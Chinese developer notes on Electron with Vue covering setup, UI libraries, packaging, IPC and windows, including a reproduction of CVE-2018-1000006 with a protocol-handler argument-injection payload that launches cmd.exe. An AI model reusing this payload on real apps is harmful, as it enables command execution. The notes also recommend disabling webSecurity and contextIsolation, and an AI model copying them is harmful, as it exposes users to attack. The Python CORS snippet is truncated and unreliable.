开发知识点-Vue-Electron
运行 electron 模块 是否 可以弹出窗口。将vue 添加 electron模块。为了不报错 卸载以前的脚手架。创建一个 vue 随便起个名。进入 创建过的 vue文件。


Electron
- 初始化
- 全局公用样式
- Element Plus布局
- 运行时icon 设置
- 使用人群
- 打包 win32桌面exe程序
- electron-reload
- 自定义窗口
- Chromium 的流程模型
- 漏洞复现-electron RCE命令执行CVE-2018-1000006
- 漏洞介绍
- 影响范围
- 漏洞复现
- POC 分析
- 攻击场景和完整的利用思路:
- 修复建议
- 前端解决 跨域
- 后端解决 跨域
- 使用 fs
- electron-store
- axios
- Ant Design Vue UI
- 未使用变量报错
- 清理缓存
- ESLint
- mounted()
- IPC(Inter-Process Communication)
- 窗口位置
- 关闭窗口
- websocket
- Nodejs 钉钉 webhook
- localStorage
- 参考文档
初始化
pnpm create -start/electron
? Add TypeScript? » No / Yes
是否使用TypeScript?选No,本教程使用JavaScript。如果喜欢TypeScript,请选择Yes。
? Add Electron updater plugin? » No / Yes
是否添加Electron updater插件?选择Yes。
? Enable Electron download mirror proxy? » No / Yes
是否开启Electron镜像下载代理。在国内网络环境,强烈建议选择Yes。
cd xxx
pnpm install
pnpm dev
精简目录
├─ /.vscode
├─ /build <-- build编译过程性输出目录
├─ /dist <-- 最终build的输出目录
├─ /node_modules
├─ /out <-- dev和build编译过程性输出目录
├─ /resources <-- 主进程和preload的公共资源目录
├─ /src
| ├─ /main <-- 主进程开发目录
| ├─ /preload <-- preload开发目录
| ├─ /renderer <-- 渲染进程开发目录
| | ├─ /api <-- api目录
| | | └─ index.js <-- api库
| | ├─ /common <-- 全局公用目录
| | | ├─ /fonts <-- 字体文件目录
| | | ├─ /images <-- 图片文件目录
| | | ├─ /js <-- 公用js文件目录
| | | └─ /styles <-- 公用样式文件目录
| | | | ├─ frame.styl <-- 全部公用样式(import本目录其他全部styl)
| | | | ├─ reset.styl <-- 清零样式
| | | | └─ global.styl <-- 全局公用样式
| | ├─ /components <-- 公共模块组件目录
| | | ├─ /header <-- 头部导航模块(示例)
| | | | └─ header.vue <-- header主文件
| | | └─ ... <-- 其他模块
| | ├─ /views <-- 页面组件目录
| | | ├─ /home <-- home页目录
| | | | └─ home.vue <-- home主文件
| | | ├─ /login <-- login页目录
| | | | └─ login.vue <-- login主文件
| | | └─ ... <-- 其他页面
| | ├─ /router <-- 路由配置目录
| | | └─ index.js <-- 路由配置文件
| | ├─ App.vue <-- 项目页面入口文件
| | ├─ main.js <-- 渲染进程入口文件
| | └─ index.html <-- 渲染进程HTML模板
├─ .editorconfig <-- IDE配置文件
├─ .eslintignore <-- 忽略eslint检查的配置文件
├─ .eslintrc.cjs <-- eslint配置文件
├─ .gitignore
├─ .npmrc <-- npm镜像源配置文件
├─ .prettierignore <-- 忽略prettier代码格式化的配置文件
├─ .prettierrc.yaml <-- prettier代码格式化配置文件
├─ dev-app-update.yml
├─ electron-builder.yml <-- build配置文件
├─ electron.vite.config.js <-- electron-vite配置文件
├─ package.json
├─ README.md
└─ yarn.lock
src/renderer/App.vue:
<script setup></script>
<template>
<div class="App">Electron-Vite-Vue-App</div>
</template>
<style scoped></style>
src/renderer/index.html:
<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>Electron</title>
<!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP -->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
/>
</head>
<body>
<!-- <div id="app"></div>
<script type="module" src="/src/main.js"></script> -->
<div id="app"></div>
<script type="module" src="/main.js"></script>
</body>
</html>
electron-vite路径别名
src/renderer/App.vue,可以直接省略成@renderer/App.vue。
electron.vite.config.js
...(略)
renderer: {
resolve: {
alias: {
- '@renderer': resolve('src/renderer/src')
+ '@renderer': resolve('src/renderer')
}
},
plugins: [vue()]
}
...(略)
全局公用样式
src/renderer/common/css/common.css
Element Plus布局
cnpm install element-plus --save
按需导入element-plus组件
cnpm install unplugin-vue-components unplugin-auto-import -D
import { createApp } from 'vue'
// 全局样式
import '@/common/styles/frame.styl'
+ import ElementPlus from 'element-plus'
+ import 'element-plus/dist/index.css'
import App from './App.vue'
- createApp(App).mount('#app')
+ const app = createApp(App)
+ app.use(ElementPlus)
+ app.mount('#app')
src/renderer/App.vue来验证下Element Plus
<script setup></script>
<template>
<div class="App">
Electron-Vite-Vue-App
+ <el-button type="primary">Primary</el-button>
</div>
</template>
<style scoped></style>
运行时icon 设置
"\src\main\index.js"
const path = require('path')
const iconPath = path.join(__dirname, '../../resources/img/icon.png')
const mainWindow = new BrowserWindow({
icon: iconPath,
...(process.platform === 'linux' ? { icon } : {}),
1 Electron核心概念
• 1.1 主进程
• 1.2 渲染进程
• 1.3 预加载脚本(preload.js)
2 初始化项目
• 2.1 使用create-react-app新建项目
• 2.2 精简项目
3 Webpack配置
• 3.1 配置国内镜像源
• 3.2 暴露Webpack
• 3.3 支持Sass/Scss
• 3.4 支持Less
• 3.5 支持Stylus
• 3.6 设置路径别名
• 3.7 禁止build项目生成map文件
4 项目架构搭建
• 4.1 项目目录结构设计
• 4.2 关于样式命名规范
• 4.3 设置全局公用样式
5 引入Ant Design 5.x
• 5.1 安装Ant Design
• 5.2 设置Antd为中文语言
6 渲染进程开发
• 6.1 构建Login页面
• 6.2 构建Home页面
• 6.3 实现页面路由跳转
• 6.4 在React组件中实现页面路由跳转
• 6.5 在非React组件中实现页面路由跳转
7 集成Electron
• 7.1 通过国内镜像加速安装Electron
• 7.2 配置Electron
• 7.3 启动Electron dev热更新模式
• 7.4 禁止开发环境启动时同时打开浏览器
8 主进程与渲染进程通信方法一:send与on/once
• 8.1 主进程开发
• 8.2 preload.js开发
• 8.3 入口文件配置
• 8.4 渲染进程开发
• 8.5 打开Electron的DevTools
• 8.6 运行效果
• 8.7 关于ipcRenderer.on/once
• 8.8 为什么必须在preload里定义ipcRenderer.on/once
9 主进程与渲染进程通信方法二:invoke与handle
• 9.1 主进程开发
• 9.2 入口文件配置
• 9.3 渲染进程开发
• 9.4 运行效果
10 打包Electron
• 10.1 安装electron-builder
• 10.2 配置electron-builder
• 10.3 配置build版本的主入口
• 10.4 解决elecron-build编译过程中下载慢的问题
• 10.5 build Electron应用
• 10.6 解决nsis无法下载问题
• 10.7 build后的目录结构
11 常用配置
• 11.1 设置开发环境应用icon
• 11.2 设置build版应用icon
• 11.3 设置APP窗口大小
• 11.4 取消跨域限制
• 11.5 取消菜单栏
• 11.6 设置DevTools快捷键
• 11.7 禁止同时运行多个Electron程序
12 项目源码git
使用人群
Electron 被 Slack、Visual Studio Code 和 Discord 等大型产品广泛使用
QQ 技术团队
开源IM框架源码:https://github.com/JackJiang2011/MobileIMSDK
《IM跨平台技术学习(一):快速了解新一代跨平台桌面技术——Electron》
《IM跨平台技术学习(二):Electron初体验(快速开始、跨进程通信、打包、踩坑等)》
《IM跨平台技术学习(三):vivo的Electron技术栈选型、全方位实践总结》
《IM跨平台技术学习(四):蘑菇街基于Electron开发IM客户端的技术实践》
《IM跨平台技术学习(五):融云基于Electron的IM跨平台SDK改造实践总结》
《IM跨平台技术学习(六):网易云信基于Electron的IM消息全文检索技术实践》
《IM跨平台技术学习(七):得物基于Electron开发客服IM桌面端的技术实践》
《IM跨平台技术学习(八):新QQ桌面版为何选择Electron作为跨端框架》

打包 win32桌面exe程序
安装时 图标 设置
为了不报错 卸载以前的脚手架
npm uninstall -g vue-cli
安装最新版脚手架
cnpm install -g @vue/cli
创建一个 vue 随便起个名
vue create electron-vue-example (随便起个名字electron-vue-example)
进入 创建过的 vue文件
vue3
cnpm C:\Users\xxx\AppData\Roaming\npm
https://npmmirror.com/
C:\Users\xxxx\electron-vue-example.
cd electron-vue-example
cnpm install electron -g



运行 vue
npm run serve


将vue 添加 electron模块
vue add electron-builder



运行 electron 模块 是否 可以弹出窗口
npm run electron:serve


// 这个错误 网上说必须科学上网才可以安装 所以我临时没有进行安装 后继没有发现有异常错误
Vue Devtools failed to install: ReferenceError: installExtension is not defined
// 全局搜索 这个 注释掉 VUEJS_DEVTOOLS VUEJS3_DEVTOOLS

最终 打包exe
npm run electron:build


报错安装一下插件
npm install -g yarn


electron-reload
Webpack 5 不提供自带的 HTTP 请求模块
https://www.w3cschool.cn/electronmanual/
cnpm install --save-dev electron-rebuild
Node.js 18.15.0
antd 5.4.0
create-react-app 5.0.1
react 18.2.0
react-router-dom 6.10.0
sass-loader 13.2.2
webpack 5.77.0
webpack-dev-server 4.13.2
concurrently 8.0.1
electron 24.0.0
electron-builder 23.6.0
less 4.1.3
less-loader 11.1.0
node-sass 8.0.0
stylus 0.59.0
stylus-loader 7.1.0
wait-on 7.0.1
自定义窗口
BrowserWindow 模块是您的 Electron 应用程序的基础。
并且它暴露了许多可以改变您浏览器窗口的外观和行为的API。
创建无边框窗口
menu.closepopup([browserwindow])
Chromium 的流程模型
漏洞复现-electron RCE命令执行CVE-2018-1000006
漏洞介绍
Electron是由Github开发,
用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,
并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
像Slack、Skype、XXX音乐、Github的Atom、Microsoft的VS Code均采用该框架开发。
在Windows下,如果Electron开发的应用注册了Protocol Handler
(允许用户在浏览器中召起该应用),
则可能出现一个参数注入漏洞,并最终导致在用户侧执行任意命令。
影响范围
1.8.2-beta.3 and earlier,
1.7.10 and earlier,
1.6.15 and earlie
Windows操作系统下,
使用应用自定义协议(Custom URI Scheme)Handler的Electron应用均会受到该漏洞的影响。
漏洞复现
┌──(root💀amingMM)-[/home/…/Desktop/vulhub-master/electron/CVE-2018-1000006]
└─# docker-compose run -e ARCH=64 --rm electron
访问 http://127.0.0.1:8080
将存在漏洞的Electron 1.7.10压缩包下载至本地,双击electron.exe运行


直接将写的代码用鼠标拖至Electron窗体里即可运行


POC 分析
https://github.com/CHYbeta/CVE-2018-1000006-DEMO
<html>
<head>
POC for CVE-2018-1000006
</head>
<body>
<a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
</body>
</html>


点击超链接,则会触发这个RCE,实现命令执行
分析环境
node
npm
Electron 1.7.10(存在漏洞的版本)
原理浅析
官方的漏洞公告可知,该漏洞存在位置app.setAsDefaultProtocolClient(),在仓库中全局搜索SetAsDefaultProtocolClient
https://github.com/electron/electron/search?utf8=%E2%9C%93&q=SetAsDefaultProtocolClient&type=
由于该漏洞仅影响Windows系统,则关注下browser_win.cc#L212
https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212

该函数的主要的功能是实现注册表键值的注册。
bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
mate::Arguments* args) {
// HKEY_CLASSES_ROOT
// $PROTOCOL
// (Default) = "URL:$NAME"
// URL Protocol = ""
// shell
// open
// command
// (Default) = "$COMMAND" "%1"
//
// However, the "HKEY_CLASSES_ROOT" key can only be written by the
// Administrator user. So, we instead write to "HKEY_CURRENT_USER\
// Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
// anyway, and can be written by unprivileged users.
if (protocol.empty())
return false;
base::string16 exe;
if (!GetProtocolLaunchPath(args, &exe))
return false;
// Main Registry Key
HKEY root = HKEY_CURRENT_USER;
base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
// Command Key
base::string16 cmdPath = keyPath + L"\\shell\\open\\command";
// Write information to registry
base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
FAILED(key.WriteValue(L"", urlDecl.c_str())))
return false;
base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
return false;
return true;
}
通过运行regedit打开注册表编辑器可以看到
运行PoC,点击构造好的超链接(payload),注册表中的%1则会替换为payload
chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
payload中的双引号闭合掉前面的双引号,最后形成如下所示命令
elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"
通过第3个参数带入Chromium实现命令执行:–renderer-cmd-prefix=cmd.exe /c start calc
攻击场景和完整的利用思路:
0、程序开发时调用了存在漏洞的函数,实现用户自定义协议的注册,
拿我这个来说注册了test协议,那当用户访问test协议下的资源时,
就会启动该程序访问(test://xxx)
app.setAsDefaultProtocolClient(‘test’)
1、程序启动时会在注册表中注册键值(%1是占位符,用于接收用户输入的参数)
“E:\elec_rce.exe” “%1”
2、执行PoC时,通过刚刚程序注册的test://自定义协议触发
test://?" “–no-sandbox” "–renderer-cmd-prefix=cmd.exe /c start calc
3、payload带入占位符%1,同时闭合双引号,通过后续的参数–renderer-cmd-prefix,传递至Chromium,实现命令执行
修复建议
官方提供 2 两种修复方法:
1、升级至 1.8.2-beta.4、
https://github.com/electron/electron/releases/tag/v1.8.2-beta.4
1.7.11、
https://github.com/electron/electron/releases/tag/v1.7.11
1.6.16 版本
https://github.com/electron/electron/releases/tag/v1.6.16
2、不升级的话,可以在调用app.setAsDefaultProtocolClient()函数时,
增加–参数(代表命令行选项的结束,类似注释?),
避免Chromium解析更多的选项
app.setAsDefaultProtocolClient(protocol, process.execPath, [
'--your-switches-here',
'--'
])
前端解决 跨域
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true, // 使渲染进程拥有node环境
//关闭web权限检查,允许跨域
webSecurity: false,
// Use pluginOptions.nodeIntegration, leave this alone
// See nklayman.github.io/vue-cli-plugin-electron-builder/guide/security.html#node-integration for more info
nodeIntegration: process.env.ELECTRON_NODE_INTEGRATION,
contextIsolation: !process.env.ELECTRON_NODE_INTEGRATION
}
})
后端解决 跨域
import http.server
import socketserver
class CORSHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header("Access-Control-Allow-Credentials", "true")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET,POST,HEAD,PUT,DELETE,OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
http.server.SimpleHTTPRequestHandler.end_headers(self)
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header("Access-Control-Allow-Credentials", "true")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET,POST,HEAD,PUT,DELETE,OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path.startswith
Handler = CORSHTTPRequestHandler
PORT = 8000
with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
print("Server started at port", PORT)
httpd.serve_forever()
使用 fs
vue.config.js
module.exports = defineConfig({
transpileDependencies: true,
pluginOptions:{
electronBuilder:{
nodeIntegration:true
}
}
})
electron-store
简单的Electron本地持久化存储库
cnpm install electron-store
在你的 Electron 主进程文件中创建一个 store 实例:
const Store = require('electron-store');
const store = new Store();
你现在可以使用以下方法读取和写入数据:
// 写入数据
store.set('name', 'John Doe');
// 读取数据
console.log(store.get('name'));
// 输出: John Doe
// 移除数据
store.delete('name');
// 检查数据是否存在
console.log(store.has('name'));
// 输出: false
// 一次写入多个键值对
store.set({
foo: 'bar',
baz: 42
});
// 读取所有数据
console.log(store.store);
// 输出: { foo: 'bar', baz: 42 }
你还可以设置默认值,这样如果键不存在,将返回默认值:
const store = new Store({
defaults: {
windowBounds: { width: 800, height: 600 }
}
});
console.log(store.get('windowBounds'));
// 输出: { width: 800, height: 600 }
你可以使用 .on() 方法,监听 store 的变化:
store.onDidChange('name', (newValue, oldValue) => {
console.log(`name的值已从 ${oldValue} 更改为 ${newValue}`);
});
axios
Ant Design Vue UI
https://www.antdv.com/components/overview-cn
安装 Ant Design Vue UI
cnpm install ant-design-vue --save
- 在你的 main.js 文件中添加以下代码:
import { createApp } from 'vue'
import App from './App.vue'
import Antd from 'ant-design-vue';
import 'ant-design-vue/dist/reset.css';
const app = createApp(App);
app.use(Antd).mount('#app');
<template>
<div class="setting-page">
11111111111
</div>
</template>
<script>
export default {
name: 'SettingPage', // 修改为多个单词的组件名
// 组件代码
}
</script>
<style scoped>
.setting-page {
/* 样式代码 */
}
</style>
未使用变量报错
.eslintrc.js
module.exports = {
// ...其它配置
rules: {
'no-unused-vars': 'error'
}
}
清理缓存
npm cache clean --force
ESLint
用于 JavaScript 代码检查的工具。它可以在编码过程中检测出潜在的问题和错误,并提供一些改进代码质量的建议。
ESLint 可以检查的问题包括但不限于:
- 变量未定义
- 代码中的语法错误
- 缩进不正确
- 未使用的变量或参数
- 不兼容的操作符
- 大括号的位置
- 等等
ESLint 还提供了许多可配置的规则,可以根据需要进行自定义,并将这些规则应用于项目中。通过使用 ESLint,可以确保您的代码具有一致的编码风格,并且可以提高代码的可读性和可维护性。
mounted()
中实现自增 mounted是一个声明周期钩子函数,你把他想成是页加载渲染完成,自动执行的方法就可以了。
IPC(Inter-Process Communication)
进程间通信

渲染进程 TO 主进程
ipcRenderer.send
//页面的js代码:
const electron = require('electron')
const { ipcRenderer } = electron
closeDom.addEventListener('click', () => {
ipcRenderer.send('mainWindow:close')
})
ipcMain.on
//入口文件index.js
ipcMain.on('mainWindow:close', () => {
mainWindow.hide()
})
主进程 TO 渲染进程
渲染进程的webContents
在mainWindow渲染进程设定了任务后,会传输给主进程任务信息,当任务时间到了,主进程会创建提醒窗口remindWindow,并通过remindWindow.webContents将任务名称发给remindWindow。
function createRemindWindow (task) {
remindWindow = new BrowserWindow({
//options
})
remindWindow.loadURL(`file://${__dirname}/src/remind.html`)
//主进程发送消息给渲染进程
remindWindow.webContents.send('setTask', task)
}
ipcRenderer.on
在remindWindow渲染进程中,通过ipcRenderer.on接受消息。
ipcRenderer.on('setTask', (event,task) => {
document.querySelector('.reminder').innerHTML =
`<span>${decodeURIComponent(task)}</span>的时间到啦!`
})
渲染进程 TO 渲染进程
可以通过主进程中转,即窗口A先把消息发送给主进程,主进程再把这个消息发送给窗口B,这种非常常见。
也可以从窗口A直接发消息给窗口B,前提是窗口A知道窗口B的webContents的id。
ipcRenderer.sendTo
ipcRenderer.sendTo(webContentsId, channel, ...args)
使用了require,这也是Electron的一大特点,
在渲染进程中可以访问Node.js API。
这样做的前提是在创建窗口时配置webPreferences的nodeIntegration: true和contextIsolation: false:
contextIsolation确保两个上下文(预加载脚本和渲染器脚本)保持完全隔离
mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences:{
nodeIntegration: true,
contextIsolation: false
}
})
窗口位置
function createRemindWindow (task) {
//创建提醒窗口
remindWindow = new BrowserWindow({
//...options
})
//获取屏幕尺寸
const size = screen.getPrimaryDisplay().workAreaSize
//获取托盘位置的y坐标(windows在右下角,Mac在右上角)
const { y } = tray.getBounds()
//获取窗口的宽高
const { height, width } = remindWindow.getBounds()
//计算窗口的y坐标
const yPosition = process.platform === 'darwin' ? y : y - height
//setBounds设置窗口的位置
remindWindow.setBounds({
x: size.width - width, //x坐标为屏幕宽度 - 窗口宽度
y: yPosition,
height,
width
})
//当有多个应用时,提醒窗口始终处于最上层
remindWindow.setAlwaysOnTop(true)
remindWindow.loadURL(`file://${__dirname}/src/remind.html`)
}
关闭窗口
提醒窗口会在一段时间后关闭,可以通过remindWindow.close()来关闭窗口。
当窗口关闭后,我们可以设置remindWindow = null来回收分配给该渲染进程的资源。
remindWindow.on('closed', () => { remindWindow = null })
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
.custom-toolbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px;
font-weight: bold;
background-color: rgb(236, 233, 233);
}
.custom-toolbar .close-button {
cursor: pointer;
font-size: 20px;
position: relative;
bottom: 1px;
}
.custom-toolbar .title-text {
font-size: 16px;
}
.custom-toolbar .title-text > img {
width: 16px;
height: 16px;
position: relative;
top: 2px;
}
.reminder {
text-align: left;
font-size: 14px;
height: 100px;
padding: 10px;
padding-top: 0;
line-height: 24px;
/* letter-spacing: 1.2px; */
overflow: auto;
}
.close,
.detail-button {
position: absolute;
font-size: 14px;
color: dodgerblue;
bottom: 10px;
cursor: pointer;
z-index: 1;
}
.close {
right: 10px;
}
.detail-button {
right: 50px;
}
.num {
color: dodgerblue;
font-weight: bold;
}
</style>
</head>
<body>
<div class="custom-toolbar">
<div class="title-text">
<img src="./img/icon.png" alt="" />
xxx小助手
</div>
<div class="close-button">×</div>
</div>
<span class="detail-button">查看</span>
<span class="close-button close">关闭</span>
<div class="reminder"></div>
</body>
<script>
const electron = require('electron')
const { ipcRenderer } = electron
const { shell } = require('electron/common')
const reminder = document.querySelector('.reminder')
const closeBtns = document.querySelectorAll('.close-button')
const detailBtn = document.querySelector('.detail-button')
let socketData
let url
ipcRenderer.on('show-remind', (event, task, twrUrl, num) => {
socketData = task
url = twrUrl
if (num) {
reminder.innerHTML = `您有<span class="num">${num}</span>条信息需要处理,请及时登录xxx系统操作。`
} else {
reminder.innerHTML = `<span>${socketData.msgContent}</span>`
}
})
// 关闭
closeBtns.forEach(i => {
i.addEventListener('click', () => {
ipcRenderer.send('remindWindow:close')
})
})
// 查看-点击自动跳转到默认浏览器
detailBtn.addEventListener('click', () => {
shell.openExternal(`http://${url}/xxx/#/xxx`)
})
</script>
</html>
websocket
https://blog.csdn.net/weixin_47978760/article/details/134535393
Nodejs 钉钉 webhook
localStorage
参考文档
https://zhuanlan.zhihu.com/p/659550657 https://gitee.com/betaq/electron-vite-vue-app-2023autumn
https://www.electronjs.org/zh/docs/latest/
http://static.kancloud.cn/idcpj/python/1037967
http://photonkit.com/getting-started/
https://xel-toolkit.org/setup
https://github.com/jarek-foksa/xel/blob/master/elements/x-progressbar.js
cnpm install xel
https://github.com/electron/electron/tree/v12.2.3/docs#readme
https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web
https://nodejs.org/
https://www.electronjs.org/fiddle
更多推荐



所有评论(0)